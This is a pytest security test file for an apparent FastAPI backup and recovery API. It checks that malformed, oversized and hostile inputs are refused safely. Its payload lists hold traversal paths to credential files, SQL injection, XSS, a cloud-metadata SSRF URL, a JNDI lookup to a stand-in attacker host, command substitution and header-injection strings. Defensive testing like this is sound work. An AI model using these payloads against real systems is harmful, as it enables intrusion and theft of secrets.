500 lines
16 KiB
Python
500 lines
16 KiB
Python
"""M16 API and input security tests.
|
||
|
||
Bounded adversarial input against the real typed API: malformed bodies, hostile strings, oversized
|
||
payloads, traversal, injection, mass assignment and error redaction. Nothing here touches a host
|
||
service; every request goes to the application under test.
|
||
"""
|
||
|
||
from __future__ import annotations
|
||
|
||
import json
|
||
import uuid
|
||
from typing import Any
|
||
|
||
import pytest
|
||
from fastapi.testclient import TestClient
|
||
from pydantic import SecretStr
|
||
from sqlalchemy import create_engine
|
||
from sqlalchemy.orm import Session
|
||
from sqlalchemy.pool import StaticPool
|
||
|
||
from modelforge_api.db import get_session
|
||
from modelforge_api.main import app
|
||
from modelforge_api.persistence.models import Base
|
||
from modelforge_api.settings import Settings, get_settings
|
||
|
||
ADMIN = {"X-ModelForge-Admin-Token": "m16-operator-key"}
|
||
|
||
def _label(value: object) -> str:
|
||
"""Short, stable parametrise ids; a 100 KB id makes a failure report unreadable."""
|
||
|
||
text = repr(value)
|
||
return text[:40] + ("…" if len(text) > 40 else "")
|
||
|
||
|
||
HOSTILE_STRINGS = [
|
||
"../../etc/passwd",
|
||
"..\\..\\windows\\system32\\config\\sam",
|
||
"/etc/shadow",
|
||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||
"....//....//etc/passwd",
|
||
"file:///etc/passwd",
|
||
"http://169.254.169.254/latest/meta-data/",
|
||
"'; DROP TABLE models; --",
|
||
"' OR '1'='1",
|
||
"1; SELECT pg_sleep(10)",
|
||
"<script>alert(document.cookie)</script>",
|
||
"<img src=x onerror=alert(1)>",
|
||
"javascript:alert(1)",
|
||
"{{7*7}}",
|
||
"${jndi:ldap://attacker.invalid/a}",
|
||
"$(id)",
|
||
"`id`",
|
||
"|| cat /etc/passwd",
|
||
"\x00nullbyte",
|
||
"line\r\nX-Injected: header",
|
||
"\u202eoverride",
|
||
"\u0000\u0001\u0002",
|
||
"𝕏" * 100,
|
||
"🙂" * 200,
|
||
]
|
||
|
||
|
||
@pytest.fixture
|
||
def client() -> Any:
|
||
engine = create_engine(
|
||
"sqlite+pysqlite:///:memory:",
|
||
connect_args={"check_same_thread": False},
|
||
poolclass=StaticPool,
|
||
)
|
||
Base.metadata.create_all(engine)
|
||
settings = Settings(
|
||
_env_file=None,
|
||
operator_api_key=SecretStr("m16-operator-key"),
|
||
gateway_max_payload_bytes=65536,
|
||
gateway_max_input_characters=8192,
|
||
)
|
||
with Session(engine) as session:
|
||
app.dependency_overrides[get_session] = lambda: session
|
||
app.dependency_overrides[get_settings] = lambda: settings
|
||
try:
|
||
yield TestClient(app)
|
||
finally:
|
||
app.dependency_overrides.clear()
|
||
|
||
|
||
# --------------------------------------------------------------------- malformed bodies
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"body",
|
||
[
|
||
b"",
|
||
b"not json at all",
|
||
b"{",
|
||
b"[]",
|
||
b"null",
|
||
b"123",
|
||
b'"a string"',
|
||
b'{"unterminated": ',
|
||
b'{"a": NaN}',
|
||
b'{"a": Infinity}',
|
||
b"\x00\x01\x02",
|
||
b'{"a": ' + b"[" * 200 + b"]" * 200 + b"}",
|
||
],
|
||
ids=_label,
|
||
)
|
||
def test_a_malformed_body_is_refused_without_a_server_error(client: Any, body: bytes) -> None:
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers={**ADMIN, "Content-Type": "application/json"},
|
||
content=body,
|
||
)
|
||
assert response.status_code in (400, 422), response.text
|
||
assert response.status_code < 500
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
("field", "value"),
|
||
[
|
||
("backup_id", 12345),
|
||
("backup_id", None),
|
||
("backup_id", []),
|
||
("backup_id", {"nested": "object"}),
|
||
("backup_id", True),
|
||
("backup_id", "A" * 100000),
|
||
("backup_id", "UPPERCASE-NOT-ALLOWED"),
|
||
("backup_id", "sh"),
|
||
("reason", ""),
|
||
("reason", "x" * 100000),
|
||
("legal_hold", "yes-please"),
|
||
("milestone", "m" * 5000),
|
||
],
|
||
ids=lambda item: _label(item),
|
||
)
|
||
def test_a_wrongly_typed_or_oversized_field_is_refused(
|
||
client: Any, field: str, value: Any
|
||
) -> None:
|
||
payload = {"backup_id": "m16-fuzz-target", "reason": "M16 API fuzzing", field: value}
|
||
response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
|
||
assert response.status_code == 422, response.text
|
||
assert response.json()["error"]["code"] == "request_validation_failed"
|
||
|
||
|
||
def test_unknown_fields_cannot_be_mass_assigned(client: Any) -> None:
|
||
"""`extra="forbid"` is what stops a caller writing a field the contract never offered."""
|
||
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={
|
||
"backup_id": "m16-mass-assign",
|
||
"reason": "M16 mass assignment probe",
|
||
"state": "VERIFIED",
|
||
"restore_eligible": True,
|
||
"verified_at": "2020-01-01T00:00:00Z",
|
||
"encryption_key": "attacker-supplied",
|
||
"id": str(uuid.uuid4()),
|
||
},
|
||
)
|
||
assert response.status_code == 422
|
||
errors = json.dumps(response.json())
|
||
assert "extra_forbidden" in errors
|
||
|
||
|
||
@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
|
||
def test_a_hostile_string_in_a_typed_field_never_reaches_execution(
|
||
client: Any, value: str
|
||
) -> None:
|
||
"""A rejected value and a stored-but-inert value are both fine; a 500 is not."""
|
||
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={"backup_id": value, "reason": "M16 hostile input probe"},
|
||
)
|
||
assert response.status_code < 500, f"{value!r} produced {response.status_code}"
|
||
assert response.status_code in (201, 400, 409, 422)
|
||
|
||
|
||
@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
|
||
def test_a_hostile_string_in_a_free_text_field_is_stored_inertly(
|
||
client: Any, value: str
|
||
) -> None:
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/restore-plans",
|
||
headers=ADMIN,
|
||
json={
|
||
"backup_set_id": str(uuid.uuid4()),
|
||
"mode": "VALIDATION",
|
||
"target_environment": "ISOLATED",
|
||
"target_label": "m16-hostile",
|
||
"database_destination": "postgresql+psycopg://u:p@h:5432/d",
|
||
"artifact_strategy": "NONE",
|
||
"secret_strategy": "ROTATE",
|
||
"node_strategy": "NONE",
|
||
"reason": value if len(value) >= 10 else value * 10,
|
||
},
|
||
)
|
||
assert response.status_code < 500, f"{value!r} produced {response.status_code}"
|
||
|
||
|
||
# --------------------------------------------------------------------- path traversal
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"candidate",
|
||
[
|
||
"../escape",
|
||
"../../etc",
|
||
"nested/../../escape",
|
||
"..",
|
||
"/absolute",
|
||
"C:/Windows",
|
||
"~/home",
|
||
"\\\\server\\share",
|
||
"%2e%2e/passwd",
|
||
"a/../../b",
|
||
],
|
||
)
|
||
def test_a_traversing_backup_identity_never_escapes_the_allowlisted_root(
|
||
client: Any, candidate: str
|
||
) -> None:
|
||
"""The identity becomes a directory name, so the pattern must refuse traversal outright."""
|
||
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={"backup_id": candidate, "reason": "M16 traversal probe"},
|
||
)
|
||
assert response.status_code == 422, response.text
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"destination",
|
||
[
|
||
"sqlite:///../../etc/passwd",
|
||
"postgresql://u:p@h:5432/../../etc",
|
||
'postgresql://u:p@h:5432/d";drop table models;--',
|
||
"postgresql://u:p@h:5432/",
|
||
"file:///etc/passwd",
|
||
"http://169.254.169.254/",
|
||
"postgresql+psycopg://u:p@h:5432/d\x00",
|
||
],
|
||
)
|
||
def test_an_unsafe_restore_destination_is_refused(client: Any, destination: str) -> None:
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/restore-plans",
|
||
headers=ADMIN,
|
||
json={
|
||
"backup_set_id": str(uuid.uuid4()),
|
||
"mode": "VALIDATION",
|
||
"target_environment": "ISOLATED",
|
||
"target_label": "m16-destination",
|
||
"database_destination": destination,
|
||
"artifact_strategy": "NONE",
|
||
"secret_strategy": "ROTATE",
|
||
"node_strategy": "NONE",
|
||
"reason": "M16 unsafe destination probe",
|
||
},
|
||
)
|
||
assert response.status_code in (404, 409, 422), response.text
|
||
assert response.status_code < 500
|
||
|
||
|
||
# --------------------------------------------------------------------- identifiers
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"identifier",
|
||
[
|
||
"not-a-uuid",
|
||
"00000000-0000-0000-0000-00000000000",
|
||
"../../etc/passwd",
|
||
"1 OR 1=1",
|
||
"%00",
|
||
"e" * 500,
|
||
"00000000-0000-0000-0000-000000000000'; DROP TABLE backup_sets; --",
|
||
],
|
||
)
|
||
def test_a_malformed_path_identifier_is_refused_before_any_query(
|
||
client: Any, identifier: str
|
||
) -> None:
|
||
response = client.get(f"/api/v1/admin/recovery/backups/{identifier}", headers=ADMIN)
|
||
assert response.status_code in (404, 422), response.text
|
||
assert response.status_code < 500
|
||
|
||
|
||
def test_a_well_formed_but_unknown_identifier_returns_a_typed_not_found(client: Any) -> None:
|
||
response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
|
||
assert response.status_code == 404
|
||
assert response.json()["error"]["code"] == "backup_not_found"
|
||
|
||
|
||
# --------------------------------------------------------------------- query bounds
|
||
|
||
|
||
@pytest.mark.parametrize("limit", ["0", "-1", "999999", "abc", "1e10", "null", "", "1;2"])
|
||
def test_an_out_of_range_or_malformed_limit_is_refused(client: Any, limit: str) -> None:
|
||
response = client.get(f"/api/v1/admin/recovery/backups?limit={limit}", headers=ADMIN)
|
||
assert response.status_code == 422, response.text
|
||
|
||
|
||
def test_a_valid_limit_is_accepted(client: Any) -> None:
|
||
assert client.get("/api/v1/admin/recovery/backups?limit=10", headers=ADMIN).status_code == 200
|
||
|
||
|
||
# --------------------------------------------------------------------- payload size
|
||
|
||
|
||
def test_an_oversized_body_is_refused_rather_than_buffered_into_memory(client: Any) -> None:
|
||
payload = {"backup_id": "m16-oversized", "reason": "x" * (5 * 1024 * 1024)}
|
||
response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
|
||
assert response.status_code in (413, 422), response.text
|
||
assert response.status_code < 500
|
||
|
||
|
||
def test_a_deeply_nested_body_is_refused(client: Any) -> None:
|
||
nested: Any = "leaf"
|
||
for _ in range(500):
|
||
nested = {"n": nested}
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={"backup_id": "m16-nested", "reason": "M16 nesting probe", "milestone": nested},
|
||
)
|
||
assert response.status_code in (400, 422), response.text
|
||
assert response.status_code < 500
|
||
|
||
|
||
# --------------------------------------------------------------------- error redaction
|
||
|
||
|
||
def test_an_error_response_never_carries_internal_detail(client: Any) -> None:
|
||
response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
|
||
body = response.text
|
||
for needle in (
|
||
"Traceback",
|
||
"site-packages",
|
||
"sqlalchemy",
|
||
"psycopg",
|
||
"postgresql+psycopg",
|
||
"/app/",
|
||
"modelforge:modelforge",
|
||
"PGPASSWORD",
|
||
"m16-operator-key",
|
||
):
|
||
assert needle not in body, f"error response leaked {needle!r}"
|
||
|
||
|
||
def test_a_validation_error_echoes_no_credential(client: Any) -> None:
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={"backup_id": 1, "reason": "probe"},
|
||
)
|
||
assert response.status_code == 422
|
||
assert "m16-operator-key" not in response.text
|
||
|
||
|
||
def test_every_error_response_is_a_typed_envelope(client: Any) -> None:
|
||
for method, path, payload in (
|
||
("GET", f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", None),
|
||
("GET", "/api/v1/admin/recovery/backups?limit=0", None),
|
||
("POST", "/api/v1/admin/recovery/backups", {"backup_id": 1}),
|
||
):
|
||
response = client.request(method, path, headers=ADMIN, json=payload)
|
||
body = response.json()
|
||
assert set(body) == {"error"}
|
||
assert {"code", "message", "correlation_id"} <= set(body["error"])
|
||
assert body["error"]["correlation_id"]
|
||
|
||
|
||
def test_a_correlation_id_is_echoed_for_tracing(client: Any) -> None:
|
||
response = client.get(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers={**ADMIN, "x-correlation-id": "m16-trace-1"},
|
||
)
|
||
assert response.headers["x-correlation-id"] == "m16-trace-1"
|
||
|
||
|
||
# --------------------------------------------------------------------- header injection
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"value",
|
||
["m16\r\nX-Injected: yes", "m16\nSet-Cookie: a=b", "m16\x00truncated"],
|
||
)
|
||
def test_a_header_injection_attempt_never_produces_an_extra_header(
|
||
client: Any, value: str
|
||
) -> None:
|
||
try:
|
||
response = client.get(
|
||
"/api/v1/admin/recovery/backups", headers={**ADMIN, "x-correlation-id": value}
|
||
)
|
||
except Exception: # noqa: BLE001 - the client refusing the header is also a valid outcome
|
||
return
|
||
assert "X-Injected" not in response.headers
|
||
assert "Set-Cookie" not in response.headers
|
||
|
||
|
||
# --------------------------------------------------------------------- operator boundary
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
("method", "path"),
|
||
[
|
||
("GET", "/api/v1/admin/recovery/dashboard"),
|
||
("GET", "/api/v1/admin/recovery/backups"),
|
||
("POST", "/api/v1/admin/recovery/backups"),
|
||
("GET", "/api/v1/admin/recovery/fingerprint"),
|
||
("POST", "/api/v1/admin/recovery/retention/run"),
|
||
("GET", "/api/v1/admin/operations/overview"),
|
||
("GET", "/metrics"),
|
||
],
|
||
)
|
||
def test_an_operator_route_is_closed_to_a_capability_credential(
|
||
client: Any, method: str, path: str
|
||
) -> None:
|
||
"""A gateway bearer token is not an operator credential and must never behave like one."""
|
||
|
||
for headers in (
|
||
{},
|
||
{"Authorization": "Bearer mfsvc_a_valid_looking_capability_secret"},
|
||
{"X-ModelForge-Admin-Token": "mfsvc_a_valid_looking_capability_secret"},
|
||
{"X-ModelForge-Admin-Token": ""},
|
||
):
|
||
response = client.request(method, path, headers=headers)
|
||
assert response.status_code == 401, f"{path} accepted {headers}"
|
||
|
||
|
||
# --------------------------------------------------------------------- error serialisation
|
||
|
||
|
||
@pytest.mark.parametrize(
|
||
"body",
|
||
[b'{"backup_id": NaN}', b'{"backup_id": Infinity}', b'{"backup_id": -Infinity}'],
|
||
ids=_label,
|
||
)
|
||
def test_a_non_serialisable_number_does_not_crash_the_error_handler(
|
||
client: Any, body: bytes
|
||
) -> None:
|
||
"""M16 regression.
|
||
|
||
Python's JSON parser accepts NaN and Infinity but its serialiser rejects them. The validation
|
||
handler echoed the rejected value straight back, so one of these bodies made the error response
|
||
itself fail to serialise — turning a 422 into a server error on unauthenticated-shaped input.
|
||
"""
|
||
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers={**ADMIN, "Content-Type": "application/json"},
|
||
content=body,
|
||
)
|
||
assert response.status_code == 422, response.text
|
||
payload = response.json()
|
||
assert payload["error"]["code"] == "request_validation_failed"
|
||
assert payload["error"]["correlation_id"]
|
||
|
||
|
||
def test_an_echoed_rejected_value_is_truncated(client: Any) -> None:
|
||
"""Rejected input is unbounded by definition and must not be mirrored back in full."""
|
||
|
||
response = client.post(
|
||
"/api/v1/admin/recovery/backups",
|
||
headers=ADMIN,
|
||
json={"backup_id": "z" * 50000, "reason": "M16 echo bound probe"},
|
||
)
|
||
assert response.status_code == 422
|
||
assert len(response.text) < 5000, f"error response was {len(response.text)} bytes"
|
||
|
||
|
||
def test_the_renderable_helper_handles_every_shape_it_may_meet() -> None:
|
||
from modelforge_api.main import MAX_ECHOED_INPUT_CHARACTERS, _renderable
|
||
|
||
assert _renderable(float("nan")) == "nan"
|
||
assert _renderable(float("inf")) == "inf"
|
||
assert _renderable(float("-inf")) == "-inf"
|
||
assert _renderable(1.5) == 1.5
|
||
assert _renderable(True) is True
|
||
assert _renderable(None) is None
|
||
assert _renderable(7) == 7
|
||
assert _renderable("a" * 1000) == "a" * MAX_ECHOED_INPUT_CHARACTERS
|
||
assert _renderable(b"bytes") == "bytes"
|
||
assert _renderable([float("inf"), "x"]) == ["inf", "x"]
|
||
assert _renderable({"k": float("nan")}) == {"k": "nan"}
|
||
assert len(_renderable(list(range(100)))) == 20
|
||
assert len(_renderable({str(index): index for index in range(100)})) == 20
|
||
assert isinstance(_renderable(object()), str)
|
||
|
||
import json as json_module
|
||
|
||
json_module.dumps(
|
||
{
|
||
"nan": _renderable(float("nan")),
|
||
"nested": _renderable({"deep": [float("inf")]}),
|
||
},
|
||
allow_nan=False,
|
||
)
|